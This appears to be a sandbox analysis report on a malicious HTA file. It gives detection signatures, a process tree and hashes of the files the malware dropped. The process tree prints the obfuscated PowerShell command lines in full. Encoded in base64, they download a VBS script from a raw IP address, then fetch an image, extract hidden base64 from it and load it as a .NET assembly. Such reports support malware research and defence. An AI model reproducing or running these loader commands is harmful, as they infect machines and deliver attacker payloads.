Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2025 10:21

General

  • Target

    mybestkingifindedeverfromtheworldofnewthingsgetmebackbetterplace.hta

  • Size

    494KB

  • MD5

    d895e972eaea67707a9bd06d4dce7678

  • SHA1

    f93fb0ab1d906bcea0d9c8043720251118b029a4

  • SHA256

    9055c2c1e41e0cb85248f542949b5ba77db1c56c70bc71009be7f0bcb562e2ae

  • SHA512

    045d461d9e0ce00b2a33621d6c675ef97a22cb283d618b93f6a29e6fa1375204a1364cacbfb1c06a483573183130c4935a8e58c8217bfa6c716e0b97e770f7c8

  • SSDEEP

    768:PFrDpQlYJqwpFa5xP8kvYrrd6FIAsJ3NlNV5cF9cmxx8Mybj6jOnSSSiX+XoFQ6U:0SGfqWtrVh

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mybestkingifindedeverfromtheworldofnewthingsgetmebackbetterplace.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C powersHElL.eXe -Ex BypASs -nOp -w 1 -C DEvicEcREDENtialdEPlOyMENt.eXE ; IEX($(IEX('[sySTeM.text.EnCoDing]'+[CHar]0x3A+[CHaR]58+'Utf8.getSTRinG([sYsTeM.cOnVeRT]'+[ChAr]0x3A+[char]58+'fRoMBAsE64sTRInG('+[cHAR]0x22+'JHpUZTlnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELVR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJFUkRlZmlOSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybE1vbi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpKeWksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiQU94WlF3YlNObixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmx4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSUSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbWVTcGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDTEVwVFp1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpUZTlnOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNTEuNjguMTQ0LjE0MC94YW1wcC9rYmwvbmljZWdpdmVubWViZXN0dGhpbmdzZXZlcmdpdmVubWVncmVhdHRoaW5nc3B1cmdpcmwuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2VnaXZlbm1lYmVzdHRoaW5nc2V2ZXJnaXZlbm1lZ3JlYXR0aGluZ3Nray52YnMiLDAsMCk7c3RhUnQtU0xFZXAoMyk7aW52T0tlLWVYUFJlU1NJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxuaWNlZ2l2ZW5tZWJlc3R0aGluZ3NldmVyZ2l2ZW5tZWdyZWF0dGhpbmdza2sudmJzIg=='+[cHar]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powersHElL.eXe -Ex BypASs -nOp -w 1 -C DEvicEcREDENtialdEPlOyMENt.eXE ; IEX($(IEX('[sySTeM.text.EnCoDing]'+[CHar]0x3A+[CHaR]58+'Utf8.getSTRinG([sYsTeM.cOnVeRT]'+[ChAr]0x3A+[char]58+'fRoMBAsE64sTRInG('+[cHAR]0x22+'JHpUZTlnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELVR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJFUkRlZmlOSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybE1vbi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpKeWksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiQU94WlF3YlNObixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmx4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSUSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbWVTcGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDTEVwVFp1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpUZTlnOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNTEuNjguMTQ0LjE0MC94YW1wcC9rYmwvbmljZWdpdmVubWViZXN0dGhpbmdzZXZlcmdpdmVubWVncmVhdHRoaW5nc3B1cmdpcmwuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2VnaXZlbm1lYmVzdHRoaW5nc2V2ZXJnaXZlbm1lZ3JlYXR0aGluZ3Nray52YnMiLDAsMCk7c3RhUnQtU0xFZXAoMyk7aW52T0tlLWVYUFJlU1NJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxuaWNlZ2l2ZW5tZWJlc3R0aGluZ3NldmVyZ2l2ZW5tZWdyZWF0dGhpbmdza2sudmJzIg=='+[cHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\udub546l.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2864
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7485.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7484.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2684
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicegivenmebestthingsevergivenmegreatthingskk.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2216
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBkAGMAYQBsAHAAZQBjAGkAbgBlAG0AcgBvAGYAbAByAGkAZwB5AHQAdQBhAGUAYgBlAGgAdABlAHMAbwBvAGgAYwAvAGwAYgBrAC8AcABwAG0AYQB4AC8AMAA0ADEALgA0ADQAMQAuADgANgAuADEANQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAbQB3AG4AbQBlAG0AYwBtAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADcAOQA2ADIAMgA1ADMALwB0ADAAYgBzAGEAcQA3AGgAbgBkAGwAegBkAHIAcwBoAHQAeQBhAGoALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1092

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab88C1.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES7485.tmp

    Filesize

    1KB

    MD5

    49a6910db05ba0d71ae20d48056b6409

    SHA1

    2d71289b5166f07b888e49572f3327224ce6f76a

    SHA256

    d1be7bb0c80279b599730901c292222d6998a6034b32b20181929da36725a441

    SHA512

    d5cd84102ca0feff9d05c2d797f3f133762c9de5d7805e5e85dc90dddcfd21bdb5ec145d240a6264412e74cef49a3ecb588f7bfb192055ea44ee086ffbe1024c

  • C:\Users\Admin\AppData\Local\Temp\Tar88D4.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\udub546l.dll

    Filesize

    3KB

    MD5

    d060737de34d5ad7a644a047363cc7bc

    SHA1

    791cbcddb5c0b36d8b0cb755fa56ec09e27f00d8

    SHA256

    38dc5c921e2ad48b4b4867f94beda0b8c3dcb64a94b388298b3b4e400061e980

    SHA512

    a1a6be8823c1b52f8a80d6f0d6a09d8b2b67a3488fa19eb6265989eed480f3f57318f3483f011dbb9b00a71a173f9029e574f58c9ad0c3f1e41c74dc2b178d53

  • C:\Users\Admin\AppData\Local\Temp\udub546l.pdb

    Filesize

    7KB

    MD5

    a35fa6f9affece5bad6bc3dedd11642b

    SHA1

    33144303c5082003171802e4c23e6f93d5785b93

    SHA256

    5dbaf0ad675d1ce14964459fa54d301b0de41a2c5f8d6521b16a349fc5ed63ef

    SHA512

    3a0299acfc7192efb736516ca4640ccf416b24e5d4f68a5b8bdb0b8f3c4da745d4f64a8be998eac3108cfe393d5d56110b85c89966b9eae7dc243f485036a14e

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    773e28eff5aeac55fa986dc13f091444

    SHA1

    df5410a24e8e1af79255055b0182091ef031d1bf

    SHA256

    ec52914e10f353f8f845772535648a6a82be98940b1eb1dca1f3d1d83040410a

    SHA512

    a4c13abc12efcafe7693c6b7eb5709da9403d28ec8786615a2348ebf53d12cae6f76e85a1c8e4dd0e42397e2155f56772767aa1e381fe10b57081a1f21d255a8

  • C:\Users\Admin\AppData\Roaming\nicegivenmebestthingsevergivenmegreatthingskk.vbs

    Filesize

    223KB

    MD5

    c03f49b43b4c0e6e1eaf40170e9ae33b

    SHA1

    f4facdcac22aa1836be450fb448a337cf365b423

    SHA256

    94f4b27e66674daf491f6a3a583509a3d5a61e23bb7e4184ef708c924651989f

    SHA512

    ded87e2591a5a45e81ac67950de6de1808ac7eac693aab75ef98cf924eb0c340406764172377dbb65f34c18570c7efa9d1aa6548d42af731f39dfb1bcb77b77e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC7484.tmp

    Filesize

    652B

    MD5

    2941bbf87f4cc679ae7bf419a082fe5c

    SHA1

    7d14efbc369ef0c404ae41e144037915c75f8c50

    SHA256

    ba9ad62bbbf3bebd6fad64fbe2e569cf44307becea64bd3cc4f0f6ef8d3e7924

    SHA512

    760533216e26348e80e332e93b916f8114348872d63aa388e16bf6fea756a8a93408000541084f9d4b7228abe95dd32f47293c0533ec2df06170b90777f6ca67

  • \??\c:\Users\Admin\AppData\Local\Temp\udub546l.0.cs

    Filesize

    472B

    MD5

    de4e3fd08a42cc5963607f28c48baea7

    SHA1

    d8544bba1cc43806e72f5fb97ab4a1dfcdfdbc2b

    SHA256

    a3d58c45c803db04c9dc16afe4e140981db4597350f0874680e7ff7a86677923

    SHA512

    7d61d6307012ffb46a54ca2309833973db3a426cb440993e43e00e2b91fe5d5f3304d2d7898c292a3036569fafff3a88c73fb5a3a7c16faac83c7712064da024

  • \??\c:\Users\Admin\AppData\Local\Temp\udub546l.cmdline

    Filesize

    309B

    MD5

    7cb50b20dc4bf6c169585aef39c150df

    SHA1

    4c576516f60ed130869b311c669e69b756bd4db1

    SHA256

    13677e18a53cded32dd369a309c13e110130fa2018f97d48a39b36222619bf53

    SHA512

    53f771b9aad3f3fef80a8ecf405578499d97a6a4dfd8083c4c003b10271b79c0925f2191a6150db75cf758d7a1c23087c2dc91716e98443b1faf4e77166760b2